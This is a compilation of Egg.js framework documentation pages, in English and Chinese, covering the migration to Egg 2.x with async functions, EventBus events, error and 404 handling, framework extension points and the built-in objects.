@sindresorhus has written a lot [promise-based helpers](https://github.com/sindresorhus/promise-fun), use them together with async function could make source code more readable.

## Plugin update

`App developers` just need to update the upgraded plugins by `plugin developers`, or use `egg-bin autod` command we've prepared to quickly update.

The following content is for `plugin developers`, it shows how to update the plugins:

### Update precautions

* Finish the upgrade items above.
  * Replace all `generator function` with `async function`.
  * Upgrade middlewares.
* Interfaces compatibility (optional), see following.
* Release a major version.

### Interfaces compatibility

In some cases, the interface provided by `Plugin developers` supports both generator and async, normally it's wrapped by co.

* In 2.x, we suggest `async-first` to get a better performance and clearer error stacks.
* If necessary, please use [toAsyncFunction][app.toasyncfunction] and [toPromise][app.topromise] for compatibility.

Like [egg-schedule] plugin, it supports generator or async to define the tasks in application level.

```js
// {app_root}/app/schedule/cleandb.js
exports.task = function* (ctx) {
  yield ctx.service.db.clean();
};

// {app_root}/app/schedule/log.js
exports.task = async function splitLog(ctx) {
  await ctx.service.log.split();
};
```

`Plugin developers` could simply wrap the following raw function:

```js
// https://github.com/eggjs/egg-schedule/blob/80252ef/lib/load_schedule.js#L38
task = app.toAsyncFunction(schedule.task);
```

### Rules of Plugin release

* **Major version releasement**
  * All the APIs are promise based, and there's no `async` in source code. e.g. [egg-view-nunjucks]
* Modify `package.json`
  * Change `egg` in `devDependencies` to `^2.0.0`.
  * Change `engines.node` to `>=8.0.0`.
  * Change `ci.version` to `8, 9`, reinstall dependencies to generate new travis config files.
* Update examples in `README.md` with async function.
* Write instructions for upgrade.
* (optional) Change `test/fixtures` to async function, and it's recommended to create a PR for code preview.

In case the previous versions still requires maintenance:

* Create a new branch which based on previous `1.x` version.
* Change the `publishConfig.tag` property in `package.json` to `release-1.x` in previous version.
* If the previous version has new Bugfix, tag it as `release-1.x` when publishing, so users may use `npm i egg-xx@release-1` to import the old version.
* See [npm documentations](https://docs.npmjs.com/cli/dist-tag).

[co]: https://github.com/tj/co

[egg-schedule]: https://github.com/eggjs/egg-schedule

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[app.toasyncfunction]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L344

[app.topromise]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L353

---

---
url: /zh-CN/intro/migration.md
---
# Egg@2 升级指南

## 背景

随着 Node.js 8 LTS 的发布，内建了对 ES2017 Async Function 的支持。

在这之前，TJ 的 [co] 使我们可以提前享受到 `async/await` 的编程体验，但同时它不可避免地也带来了一些问题：

* 性能损失
* [错误堆栈不友好](https://github.com/eggjs/egg/wiki/co-vs-async)

现在，Egg 正式发布了 2.x 版本：

* 保持了对 Egg 1.x 以及 `generator function` 的**完全兼容**。
* 基于 Koa 2.x，异步解决方案基于 `async function`。
* 只支持 Node.js 8 及以上版本。
* 去除 [co] 后堆栈信息更清晰，带来 30% 左右的性能提升（不含 Node 带来的性能提升），详细参见：[benchmark](https://eggjs.github.io/benchmark/plot/)。

Egg 的理念之一是“渐进式增强”，故我们为开发者提供“渐进升级”的体验。

* [快速升级](#快速升级)
* [插件变更说明](#插件变更说明)
* [进一步升级](#进一步升级)
* [针对“插件开发者”的升级指南](#插件升级)

## 快速升级

* Node.js 使用最新的 LTS 版本（`>= 8.9.0`）。
* 修改 `package.json` 中 `egg` 的依赖为 `^2.0.0`。
* 检查相关插件是否发布新版本（可选）。
* 重新安装依赖，跑单元测试。

**搞定！几乎不需要修改任何一行代码，就已经完成了升级。**

## 插件变更说明

### egg-multipart

`yield parts` 需修改为 `await parts()` 或 `yield parts()`。

```js
// 旧代码
const parts = ctx.multipart();
let part;
while ((part = yield parts) != null) {
  // do something
}

// yield parts() 也可以工作
while ((part = yield parts()) != null) {
  // do something
}

// 新代码
const parts = ctx.multipart();
while ((part = await parts()) != null) {
  // do something
}
```

* [egg-multipart#upload-multiple-files](https://github.com/eggjs/multipart#upload-multiple-files)

### egg-userrole

不再兼容 1.x 形式的 role 定义，因为 koa-roles 已经无法兼容了。请求上下文 `Context` 从 `this` 传入改成了第一个参数 `ctx` 传入，原有的 `scope` 变成了第二个参数。

```js
// 旧代码
app.role.use('user', function () {
  return !!this.user;
});

// 新代码
app.role.use((ctx, scope) => {
  return !!ctx.user;
});

app.role.use('user', (ctx) => {
  return !!ctx.user;
});
```

* [koajs/koa-roles#13](https://github.com/koajs/koa-roles/pull/13)
* [eggjs/egg-userrole#9](https://github.com/eggjs/egg-userrole/pull/9)

## 进一步升级

得益于 Egg 对 1.x 的**完全兼容**，我们可以非常快速地完成升级。

不过，为了更好地统一代码风格，以及更佳的性能和错误堆栈，我们建议开发者进一步升级：

* 修改为推荐的代码风格，传送门：[代码风格指南](../community/style-guide.md)
* [中间件使用 Koa2 风格](#中间件使用-Koa2-风格)
* [将 `yieldable` 函数调用转为 `awaitable`](#yieldable-to-awaitable)

### 中间件使用 Koa2 风格

> 2.x 仍然保持对 1.x 风格的中间件的兼容，故不修改也能继续使用。

* 返回的函数入参改为 Koa 2 的 `(ctx, next)` 风格。
  * 第一个参数为 `ctx`，代表当前请求的上下文，是 [Context](../basics/extend.md#Context) 的实例。
  * 第二个参数为 `next`，用 `await` 执行它来进行后续中间件的处理。
* 不建议使用 `async (ctx, next) => {}` 格式，避免错误堆栈丢失函数名。
* `yield next` 改为函数调用 `await next()` 的方式。

```js
// 1.x
module.exports = () => {
  return function* responseTime(next) {
    const start = Date.now();
    yield next;
    const delta = Math.ceil(Date.now() - start);
    this.set('X-Response-Time', delta + 'ms');
  };
};

// 2.x
module.exports = () => {
  return async function responseTime(ctx, next) {
    const start = Date.now();
    // 注意，与 generator function 格式的中间件不同，next 是一个方法，必须调用它
    await next();
    const delta = Math.ceil(Date.now() - start);
    ctx.set('X-Response-Time', delta + 'ms');
  };
};
```

### yieldable 到 awaitable 的转换

> 我们在 Egg 1.x 版本时就已经支持了 async，所以如果应用层已经是基于 async 的话，可以跳过这个小节。

[co] 支持了 `yieldable` 兼容类型：

* promises
* array（并行执行）
* objects（并行执行）
* thunks（函数）
* generators（委托）
* generator 函数（委托）

尽管 `generator` 和 `async` 在编程模型上基本相同，但由于 `co` 的一些特殊处理，在移除 `co` 后，需要根据不同场景进行手动处理：

#### promise

直接替换即可：

```js
function echo(msg) {
  return Promise.resolve(msg);
}

yield echo('hi egg');
// 替换为
await echo('hi egg');
```

#### 数组 - yield \[]

`yield []` 常用于并发请求，比如：

```js
const [ news, user ] = yield [
  ctx.service.news.list(topic),
  ctx.service.user.get(uid),
];
```

这种修改比较简单，使用 `Promise.all()` 包装即可：

```js
const [news, user] = await Promise.all([
  ctx.service.news.list(topic),
  ctx.service.user.get(uid),
]);
```

#### 对象 - yield {}

`yield {}` 和 `yield map` 方式也常用于并发请求，由于 `Promise.all` 不支持对象，转换会稍微复杂一些。

```js
// app/service/biz.js
class BizService extends Service {
  * list(topic, uid) {
    return {
      news: yield ctx.service.news.list(topic),
      user: yield ctx.service.user.get(uid),
    };
  }
}

// app/controller/home.js
const { news, user } = yield ctx.service.biz.list(topic, uid);
```

建议修改为 `await Promise.all([])` 的方式：

```js
// app/service/biz.js
class BizService extends Service {
  async list(topic, uid) {
    const results = await Promise.all([
      ctx.service.news.list(topic),
      ctx.service.user.get(uid),
    ]);
    return {
      news: results[0],
      user: results[1],
    };
  }
}

// app/controller/home.js
const { news, user } = await ctx.service.biz.list(topic, uid);
```

如果无法修改相关接口，可以暂时使用我们提供的工具方法 [app.toPromise] 兼容一下。

**建议尽量修改，因为实际上就是交给了 co 处理，可能会引起性能损失和堆栈问题。**

```js
const { news, user } = await app.toPromise(ctx.service.biz.list(topic, uid));
```

#### 其他情况

* thunks（函数）
* generators（委托）
* generator 函数（委托）

只需改写为相应的 async 函数即可。如果无法修改，可以使用 [app.toAsyncFunction] 方法简单包装一下。

**注意**

* 使用 [toAsyncFunction][app.toasyncfunction] 和 [toPromise][app.topromise] 实际上是借助 [co] 进行包装的，因此可能导致性能损失和堆栈问题。我们建议开发者尽可能进行全链路升级。
* 在调用 async 函数时，[toAsyncFunction][app.toasyncfunction] 不会引起额外损失。

@sindresorhus 编写了不少[基于 promise 的辅助方法](https://github.com/sindresorhus/promise-fun)，灵活利用这些方法配合 async 函数可以让代码更加清晰易读。

## 插件升级

`应用开发者` 只需升级 `插件开发者` 修改后的依赖版本即可，也可以用我们提供的命令 `egg-bin autod` 快速更新。

以下内容针对 `插件开发者`，指导如何升级插件：

### 升级事项

* 完成上面章节提到的升级项。
  * 所有的 `generator function` 改为 `async function` 格式。
  * 升级中间件风格。
* 接口兼容（可选），如下所示。
* 发布大版本。

### 接口兼容

某些场景下，`插件开发者` 提供给 `应用开发者` 的接口同时支持 generator 和 async，一般会用 `co` 包装一层。

* 在 2.x 里，为了更好的性能和错误堆栈，我们建议修改为 `async-first`。
* 如有需要，可以使用 [`toAsyncFunction`](https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L344) 和 [`toPromise`](https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L353) 来实现兼容。

例如，[`egg-schedule`](https://github.com/eggjs/egg-schedule) 插件支持应用层使用 generator 或 async 定义任务：

```js
// {app_root}/app/schedule/cleandb.js
exports.task = function* (ctx) {
  yield ctx.service.db.clean();
};

// {app_root}/app/schedule/log.js
exports.task = async function splitLog(ctx) {
  await ctx.service.log.split();
};
```

`插件开发者` 可以简单包装下原始函数：

```js
// https://github.com/eggjs/egg-schedule/blob/80252ef/lib/load_schedule.js#L38
task = app.toAsyncFunction(schedule.task);
```

### 插件发布规则

* **需要发布大版本**
  * 除非插件提供的接口都是 promise 的，且代码里不存在 `async`，如 [`egg-view-nunjucks`](https://github.com/eggjs/egg-view-nunjucks)。
* 修改 `package.json`
  * 修改 `devDependencies` 依赖的 `egg` 为 `^2.0.0`。
  * 修改 `engines.node` 为 `>=8.0.0`。
  * 修改 `ci.version` 为 `8, 9` 并重新安装依赖，以生成新的 travis 配置文件。
* 修改 `README.md` 中的示例为 `async function`。
* 编写升级指引。
* 修改 `test/fixtures` 为 `async function`，可选，建议分开另一个 PR 以方便 Review。

一般还需要继续维护上一个版本，故需：

* 为上一个版本建立一个 `1.x` 分支。
* 修改上一个版本的 `package.json` 中的 `publishConfig.tag` 为 `1.x`。
* 这样，当上一个版本有 BugFix 时，在 npm 版本中会发布为 `release-1.x` 这个 tag，用户通过 `npm i egg-xx@release-1.x` 来引入旧版本。
* 参见 [npm 文档](https://docs.npmjs.com/cli/dist-tag)。

[co]: https://github.com/tj/co

[egg-schedule]: https://github.com/eggjs/egg-schedule

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[app.toasyncfunction]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L344

[app.topromise]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L353

---

---
url: /zh-CN/basics/eventbus.md
---
# EventBus 消息中枢

## 使用场景

在业务开发中，经常会需要解耦的异步操作，简单做法可以通过 `backgroundTaskHelper` 执行。但这种方法无法实现代码间的解耦，需要在 `backgroundTask` 的回调中编写异步逻辑。这时引入事件更合适。

## 代码对比

### 使用 backgroundTaskHelper

```typescript
import { BackgroundTaskHelper } from 'egg';

export class TriggerService {
  @Inject()
  private backgroundTaskHelper: BackgroundTaskHelper;

  @Inject()
  private fooService;

  @Inject()
  private barService;

  async trigger() {
    this.backgroundTaskHelper.run(async () => {
      // do the background task
      this.fooService.call();
      this.barService.call();
    });
  }
}
```

### 使用 EventBus

可以很明显的看到对比业务触发的地方不会再耦合其他的业务逻辑。可以没有负担的进行扩展。

```typescript
import { Inject, EventBus, Event } from 'egg';

export class TriggerService {
  @Inject()
  private eventBus: EventBus;

  async trigger() {
    this.eventBus.emit('hello');
  }
}

@Event('hello')
class FooHelloHandler {
  handle() {
    // ...
  }
}

@Event('hello')
class BarHelloHandler {
  handle() {
    // ...
  }
}
```

## 使用

### 定义事件

通过 ts 强大的类型合并功能，我们可以进行事件以及参数的强类型检查。

```typescript
// 这行必须有，否则下面的 declare 会把原始的 module 覆盖
import 'egg';

declare module 'egg' {
  interface Events {
    // 自定义事件
    // property 即为事件名称
    // property 的值会约束消费的函数申明
    hello: (message: string) => Promise<void>;
  }
}
```

### 触发事件

通过注入 eventBus 即可触发。

```typescript
import { SingletonProto, Inject, EventBus } from 'egg';

@SingletonProto()
export class FooProducer {
  @Inject()
  private eventBus: EventBus;

  trigger() {
    this.eventBus.emit('hello', '01');
  }
}
```

会神奇地发现 emit 会及时出现正确的类型提示

![](https://mdn.alipayobjects.com/huamei_1jxgeu/afts/img/cwwCRpOnomgAAAAARSAAAAgADpOHAQFr/original)

### 消费事件

为一个类添加 Event 注解，即可实现事件消费。

```typescript
import { EggLogger, Event, Inject } from 'egg';

// ts 会检查事件是否在 Events 中存在
@Event('hello')
export class FooHandler {
  @Inject()
  private logger: EggLogger;

  // ts 会检查函数签名是否与 Events 中对应的事件相同
  async handle(msg: string): Promise<void> {
    console.log('msg: ', msg);
  }
}
```

### 消费多个事件

一个类添加多次 Event 注解，可以对多个事件进行消费。

并且可以通过 EventContext 注解，注入 EventContext。（可选）

```typescript
import { EggLogger, Event, Inject, EventContext } from 'egg';

// ts 会检查事件是否在 Events 中存在，并且会检查 handle 的参数是否符合对应事件的类型定义
@Event('hello')
@Event('hi')
export class Handler {
  async handle(@EventContext() ctx: IEventContext, msg: string): Promise<void> {
    console.log('eventName: ', ctx.eventName);
    console.log('msg: ', msg);
  }
}

// 不需要感知 handle 的事件则无需注入
@Event('hello')
@Event('hi')
export class Handler {
  async handle(msg: string): Promise<void> {
    console.log('msg: ', msg);
  }
}
```

```typescript
export interface IEventContext {
  eventName: keyof Events;
}
```

EventContext 只能修饰 handle 方法的第一个参数，ts 会对此进行类型校验。

### 单测

通过 `app.getEventWaiter()` 方法获得的 `eventWaiter` 可以简单的等待事件触发。

```typescript
it('msg should work', async () => {
  ctx = await app.mockModuleContext();
  const fooProducer = await ctx.getEggObject(FooProducer);
  let msg: string | undefined;
  // FooHandler 会在一个独立的上下文中实例化
  // 所以此处需要 mock prototype
  mm(FooHandler.prototype, 'handle', (m) => {
    msg = m;
  });
  const eventWaiter = await app.getEventWaiter();
  // 通过 await 接口来等待事件被触发
  // 不用再写 sleep
  const helloEvent = eventWaiter.await('hello');
  fooProducer.trigger('01');
  await helloEvent;
  assert.equal(msg, '01');
});
```

---

---
url: /core/error-handling.md
---

## Exception Capture

Taking benefits from framework asynchronous support, all exceptions can be caught by `try catch`.

With those features, you can take following implementation as reference:

```js
// app/service/test.js
try {
  const res = await this.ctx.curl('http://eggjs.com/api/echo', {
    dataType: 'json',
  });
  if (res.status !== 200) throw new Error('response status is not 200');
  return res.data;
} catch (err) {
  this.logger.error(err);
  return {};
}
```

Generally, you can use `try catch` to catch exceptions. However, some implementations may break this mechanism down. Imaging that `await` makes generators run in order just like a chain. What will happen if one of them jumpoff the chain? The following code can help you realize the imagination:

```js
// app/controller/home.js
class HomeController extends Controller {
  async buy() {
    const request = {};
    const config = await ctx.service.trade.buy(request);
    // checking the deal and don't block current request
    setImmediate(() => {
      ctx.service.trade.check(request).catch((err) => ctx.logger.error(err));
    });
  }
}
```

In this case, you may find that the exceptions in `setImmediate` will be swallowed because the scope breaks the chain, although egg already handled exceptions externally.

Above scene is also considered. To catch the exception inside the scope, You can invoke helper method `ctx.runInBackground(scope)` to wrap the chain back. Now, the exceptions will be detected and caught.

```js
class HomeController extends Controller {
  async buy() {
    const request = {};
    const config = await ctx.service.trade.buy(request);
    // checking the deal and don't block current request
    ctx.runInBackground(async () => {
      // Exceptions thrown here will be caught in background and printed into log.
      await ctx.service.trade.check(request);
    });
  }
}
```

For convenience of locating problems, exceptions must be guaranteed to be Error object or object based on Error object, which offers a trace of which functions were called.

## Egg Takes Charge of Exceptions

[@eggjs/onerror](https://github.com/eggjs/egg/tree/next/plugins/onerror), one of Egg's plugin, handles all exceptions thrown in Middleware, Controller and Service, and returns the error as response based on "Accept" in request header field.

| Accept       | ENV              | errorPageUrl | response                                             |
| ------------ | ---------------- | ------------ | ---------------------------------------------------- |
| HTML & TEXT  | local & unittest | -            | onerror built-in error page                          |
| HTML & TEXT  | others           | YES          | redirect to errorPageUrl                             |
| HTML & TEXT  | others           | NO           | onerror built-in error page(simple, not recommended) |
| JSON & JSONP | local & unittest | -            | JSON Object or JSONP response body with details      |
| JSON & JSONP | others           | -            | JSON object or JSONP response body without details   |

### `errorPageUrl`

Redirecting to your customized error page by setting `errorPageUrl` in `onerror` plugin.

`onerror` config in `config/config.default.js`:

```js
module.exports = {
  onerror: {
    errorPageUrl: '/50x.html',
  },
};
```

## Create Your Universal Exception Handler

Once the default handler no longer meet your needs, you still can customize your owner error handler by onerror's configurations.

```js
// config/config.default.js
module.exports = {
  onerror: {
    all(err, ctx) {
      // Define an error handler for all type of Response.
      // Once config.all present, other type of error handlers will be ignored.
      ctx.body = 'error';
      ctx.status = 500;
    },
    html(err, ctx) {
      // html handler
      ctx.body = '<h3>error</h3>';
      ctx.status = 500;
    },
    json(err, ctx) {
      // json handler
      ctx.body = { message: 'error' };
      ctx.status = 500;
    },
    jsonp(err, ctx) {
      // Generally, we don't need to customize jsonp error handler.
      // It will call json error handler and wrap to jsonp type response.
  },
};
```

## 404

Egg won't take `NOT FOUND` from back-end as exception. Instead, if `NOT FOUND` is emitted without a body, it will return the following JSON object as default response.

identified as JSON:

```js
{
  "message": "Not Found"
}
```

identified as HTML:

```html
<h1>404 Not Found</h1>
```

Overriding default 404 page to the one you want:

```js
// config/config.default.js
module.exports = {
  notfound: {
    pageUrl: '/404.html',
  },
};
```

### Customize 404 Response

If you want a customized 404 response, you only need to create a middleware to handle it once, just like handling exceptions above.

```js
// app/middleware/notfound_handler.js
module.exports = () => {
  return async function notFoundHandler(ctx, next) {
    await next();
    if (ctx.status === 404 && !ctx.body) {
      if (ctx.acceptJSON) {
        ctx.body = { error: 'Not Found' };
      } else {
        ctx.body = '<h1>Page Not Found</h1>';
      }
    }
  };
};
```

Adding yours to `middleware` in config:

```js
// config/config.default.js
module.exports = {
  middleware: ['notfoundHandler'],
};
```

---

---
url: /basics/extend.md
---

Egg.js is extensible and it provides multiple extension points to enhance the functionality of itself:

* Application
* Context
* Request
* Response
* Helper

We could use the extension APIs to help us to develop, or extend the objects given above to enhance the functionality of egg as well while programming.

## Application

The object `app` is just the same aspect as the global application object in Koa. There should be only one `app` in your application, and it will be created by egg when the application is started.

### Access Method

* `ctx.app`
* You can access the Application object by using `this.app` in Controller, Middleware, Helper, Service. For instance, `this.app.config` will help you access the Config object.
* The `app` object would be injected into the entry function as the first argument in `app.js`, like this:

  ```js
  // app.js
  module.exports = (app) => {
    // here you can use the app object
  };
  ```

### How to Extend

Egg will merge the object defined in `app/extend/application.js` with the prototype of Application object in Koa, then generate object `app` which is based on the extended prototype when application is started.

#### Extend Methods

If we want to create a method `app.foo()`, we can do it like this: ：

```js
// app/extend/application.js
module.exports = {
  foo(param) {
    // `this` points to the object app, you can access other methods or property of app with this
  },
};
```

#### Extend Properties

Generally speaking, the calculation of properties only need to be done once, therefore we have to do some cache, otherwise it will degrade performance of the app as too much calculation would be going to do when accessing those properties several times.

So, it's recommended to use Symbol + Getter.

For example, if we would like to add a Getter property `app.bar`:

```js
// app/extend/application.js
const BAR = Symbol('Application#bar');

module.exports = {
  get bar() {
    // `this` points to the app object, you can access other methods or property of app with this
    if (!this[BAR]) {
      // It should be more complex in real situation
      this[BAR] = this.config.xx + this.config.yy;
    }
    return this[BAR];
  },
};
```

## Context

Context means the context in Koa, which is a **Request Level** object. That is to say, every request from client will generate an Context instance. We usually write Context as `ctx` in short. In all the doc, both Context and `ctx` means the context object in Koa.

### Access Method

* `this` in middleware is ctx, such as `this.cookies.get('foo')`。
* There are two different ways to write controller. If you use class to describe controller, you can use `this.ctx` to access Context. Or if you write as method, you can access Context with `ctx` directly.
* `this` in helper, service points to the helper object and service object themselves. Simply use `this.ctx` to access Context object, such as `this.ctx.cookies.get('foo')`.

### How to extend

Egg will merge the object defined in `app/extend/context.js` with the prototype of Context object in Koa. And it will generate a `ctx` object which is based on the extended prototype when deal with request.

#### Extend Methods

For instance, we could add a method `ctx.foo()` in the following way:

```js
// app/extend/context.js
module.exports = {
  foo(param) {
    // `this` points to the ctx object, you can access other methods or property of ctx
  },
};
```

#### Extend Properties

Generally speaking, the calculation of properties only need to do once, therefore we have to do some cache, otherwise it will degrade performance of the app as too much calculation would be going to do when access those properties several times.

So, it's recommended to use Symbol + Getter.

For example, if we would like to add a Getter property `ctx.bar`:

```js
// app/extend/context.js
const BAR = Symbol('Context#bar');

module.exports = {
  get bar() {
    // `this` points to the ctx object, you can access other methods or property of ctx
    if (!this[BAR]) {
      // For example, we can get from header, but it should be more complex in real situation.
      this[BAR] = this.get('x-bar');
    }
    return this[BAR];
  },
};
```

## Request

Request object is the same as that in Koa, which is a **Request Level** object. It provides a great number of methods to help to access the properties and methods you need.

### Access Method

```js
ctx.request;
```

So many properties and methods in `ctx` can also be accessed in `request` object. For those properties and methods, it is just the same to access them by using either `ctx` or `request`, such as `ctx.url === ctx.request.url`.

Here are the properties and methods in `ctx` which can also be accessed by Request aliases: [Koa - Request aliases](http://koajs.com/#request-aliases)

### How to Extend

Egg will merge the object defined in `app/extend/request.js` and the prototype of `request` object built in egg. And it will generate a `request` object which is based on the extended prototype when deal with request.

For instance, we could add a property `request.foo` in the following way:

```js
// app/extend/request.js
module.exports = {
  get foo() {
    return this.get('x-request-foo');
  },
};
```

## Response

Response object is the same as that in Koa, which is a **Request Level** object. It provides a great number of methods to help to access the properties and methods you need.

### Access Method

```js
ctx.response;
```

So many properties and methods in `ctx` can also be accessed in `response` object. For those properties and methods, it is just the same to access them by using either `ctx` or `response`. For example `ctx.status = 404` is the same as `ctx.response.status = 404`.

Here are the properties and methods in `ctx` which can also be accessed by Response aliases: [Koa Response aliases](http://koajs.com/#response-aliases)

### How to Extend

Egg will merge the object defined in `app/extend/response.js` and the prototype of `response` object build in egg. And it will generate a `response` object which is based on the extended prototype after dealt with request.

For instance, we could add a setter `request.foo` in the following way:

```js
// app/extend/response.js
module.exports = {
  set foo(value) {
    this.set('x-response-foo', value);
  },
};
```

Then we can use the setter like this: `this.response.foo = 'bar';`

## Helper

Function Helper can provides some useful utility functions.

We can put some utility functions we use ofter into helper.js as an individual function. Then we can write the complex codes in JavaScript, avoiding to write them everywhere. Besides, such a simple function like Helper allows to write test case much easier.

Egg has had some build-in Helper functions. We can write our own Helper as well.

### Access Method

Access helper object with `ctx.helper`, for example:

```js
// Assume that home router has already defined in app/router.js
app.get('home', '/', 'home.index');

// Use helper to calculate the specific url path
ctx.helper.pathFor('home', { by: 'recent', limit: 20 });
// => /?by=recent&limit=20
```

### How to Extend

Egg will merge the object defined in `app/extend/helper.js` and the prototype of `helper` object build in egg. And it will generate a `helper` object which is based on the extended prototype after dealt with request.

For instance, we could add a method `helper.foo()` in the following way:

```js
// app/extend/helper.js
module.exports = {
  foo(param) {
    // // `this` points to the helper object, you can access other methods or property of helper
    // this.ctx => context object
    // this.app => application object
  },
};
```

## Extend according to environment

Besides, we can extend the framework in an optional way according to the environment. For example, if you want `mockXX()` only be able to accessed when doing unittest:

```js
// app/extend/application.unittest.js
module.exports = {
  mockXX(k, v) {},
};
```

This file will only be required under unittest environment.

Similarly, we could extend egg in this way for other object,such as Application, Context, Request, Response and Helper. See more on [environment](./env.md)

---

---
url: /basics/objects.md
---

At this chapter, we will introduce some built-in basic objects in the framework, including four objects (Application, Context, Request, Response) inherited from [Koa] and some objects that extended by the framework (Controller, Service , Helper, Config, Logger), we will often see them in the follow-up documents.

## Application

Application is a global application object, an application only instantiates one Application, it is inherited from [Koa.Application], we can mount some global methods and objects on it. We can easily \[extend Application object] (./extend.md#Application) in plugin or application.

### Events

Framework will emits some events when server running, application developers or plugin developers can listen on these events to do some job like logging. As application developers, we can listen on these events in [app start script](./app-start.md).

* `server`: every worker will only emit once during the runtime, after HTTP server started, framework will expose HTTP server instance by this event.
* `error`: if any exception catched by onerror plugin, it will emit an `error` event with the exception instance and current context instance(if have), developers can listen on this event to report or logging.
* `request` and `response`: application will emit `request` and `response` event when receive requests and ended responses, developers can listen on these events to generate some digest log.

```js
// app.js

module.exports = (app) => {
  app.once('server', (server) => {
    // websocket
  });
  app.on('error', (err, ctx) => {
    // report error
  });
  app.on('request', (ctx) => {
    // log receive request
  });
  app.on('response', (ctx) => {
    // ctx.starttime is set by framework
    const used = Date.now() - ctx.starttime;
    // log total cost
  });
};
```

### How to Get

Application object can be accessed almost anywhere in application, here are a few commonly used access ways:

Almost all files (Controller, Service, Schedule, etc.) loaded by the \[Loader] (../advanced/loader.md) can export a function that is called by the Loader and uses the app as a parameter:

* [App start script](./app-start.md)

  ```js
  // app.js
  module.exports = (app) => {
    app.cache = new Cache();
  };
  ```

* [Controller file](./controller.md)

  ```js
  // app/controller/user.js
  class UserController extends Controller {
    async fetch() {
      this.ctx.body = this.app.cache.get(this.ctx.query.id);
    }
  }
  ```

Like the [Koa], on the Context object, we can access the Application object via `ctx.app`. Use the above Controller file as an example:

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    this.ctx.body = this.ctx.app.cache.get(this.ctx.query.id);
  }
}
```

In the instance objects that inherited from the Controller and Service base classes, the Application object can be accessed via `this.app`.

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    this.ctx.body = this.app.cache.get(this.ctx.query.id);
  }
}
```

## Context

Context is a **request level object**, inherited from [Koa.Context]. When a request is received every time, the framework instantiates a Context object that encapsulates the information requested by the user and provides a number of convenient ways to get the request parameter or set the response information. The framework will mount all of the [Service] on the Context instance, and some plugins will mount some other methods and objects on it ([egg-sequelize] will mount all the models on the Context).

### How to Get

The most common way to get the Context instance is in [Middleware], [Controller], and [Service]. The access method in the Controller is shown in the above example. In the Service, the access way is same as Controller. The access Context method in the Middleware of Egg is same as [Koa] framework gets the Context object in its middleware.

The [Middleware] of Egg also supports Koa v1 and Koa v2 two different middleware coding formats. use different format, the way to access Context instance is also slightly different:

```js
// Koa v1
function* middleware(next) {
  // this is instance of Context
  console.log(this.query);
  yield next;
}

// Koa v2
async function middleware(ctx, next) {
  // ctx is instance of Context
  console.log(ctx.query);
}
```

In addition to the request can get the Context instance, in some non-request scenario we need to access service / model and other objects on the Context instance, we can use`Application.createAnonymousContext ()` method to create an anonymous Context instance:

```js
// app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    const ctx = app.createAnonymousContext();
    // preload before app start
    await ctx.service.posts.load();
  });
};
```

Each task in [Schedule](./schedule.md) takes a Context instance as a parameter so that we can more easily execute some schedule business logic:

```js
// app/schedule/refresh.js
exports.task = async (ctx) => {
  await ctx.service.posts.refresh();
};
```

## Request & Response

Request is a **request level object**, inherited from [Koa.Request]. Encapsulates the Node.js native HTTP Request object, and provides a set of helper methods to get commonly used parameters of HTTP requests.

Response is a **request level object**, inherited from [Koa.Response]. Encapsulates the Node.js native HTTP Response object, and provides a set of helper methods to set the HTTP response.

### How to Get

We can get the Request(`ctx.request`) and Response (` ctx.response`) instances of the current request on the Context instance.

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    const { app, ctx } = this;
    const id = ctx.request.query.id;
    ctx.response.body = app.cache.get(id);
  }
}
```

* [Koa] will proxy some methods and properties of Request and Response on Context, see [Koa.Context].
* `ctx.request.query.id` and` ctx.query.id` are equivalent in the above example , `ctx.response.body =` and `ctx.body =` are equivalent.
* It should be noted that get the body of POST should use `ctx.request.body` instead of` ctx.body`.

## Controller

Egg provides a Controller base class and recommends that all [Controller] inherit from the base class. The Controller base class has the following properties:

* `ctx` - [Context](#context) instance of the current request.
* `app` - [Application](#application) instance.
* `config` - application [configuration](./config.md).
* `service` - all [service]\(./ service.md) of application.
* `logger` - the encapsulated logger object for the current controller.

In the Controller file, there are two ways to use the Controller base class:

```js
// app/controller/user.js

// get from egg (recommend)
const Controller = require('egg').Controller;
class UserController extends Controller {
  // implement
}
module.exports = UserController;

// get from app instance
module.exports = (app) => {
  return class UserController extends app.Controller {
    // implement
  };
};
```

## Service

Egg provides a Service base class and recommends that all [Service] inherit from the base class.

The properties of the Service base class are the same as those of the [Controller](#controller) base class, the access method is similar:

```js
// app/service/user.js

// get from egg (recommend)
const Service = require('egg').Service;
class UserService extends Service {
  // implement
}
module.exports = UserService;

// get from app instance
module.exports = (app) => {
  return class UserService extends app.Service {
    // implement
  };
};
```

## Helper

Helper is used to provide some useful utility functions. Its role is that we can put some commonly used functions into helper.js, so we can use JavaScript to write complex logic, avoid the logic being scattered everywhere, and can be more convenient to write test cases.

The Helper itself is a class that has the same properties as the [Controller](#controller) base class, and it will be instantiated at each request so that all functions on the Helper can also get context of the current request.

### How to Get

We can get the Helper(`ctx.helper`) instance of the current request on the Context instance.

```js
// app/controller/user.js
class UserController extends Controller {
  async fetch() {
    const { app, ctx } = this;
    const id = ctx.query.id;
    const user = app.cache.get(id);
    ctx.body = ctx.helper.formatUser(user);
  }
}
```

In addition, Helper instances can also be accessed in template, for example, we can get `shtml` method provided by [security](../core/security.md) plugin in template.

```
// app/view/home.nj
{{ helper.shtml(value) }}
```

### Custom helper method

In application development, we may often customize some helper methods, such as `formatUser` in the above example, we can customize helper method with a way of [framework extension](./extend.md#helper).

```js
// app/extend/helper.js
module.exports = {
  formatUser(user) {
    return only(user, ['name', 'phone']);
  },
};
```

## Config

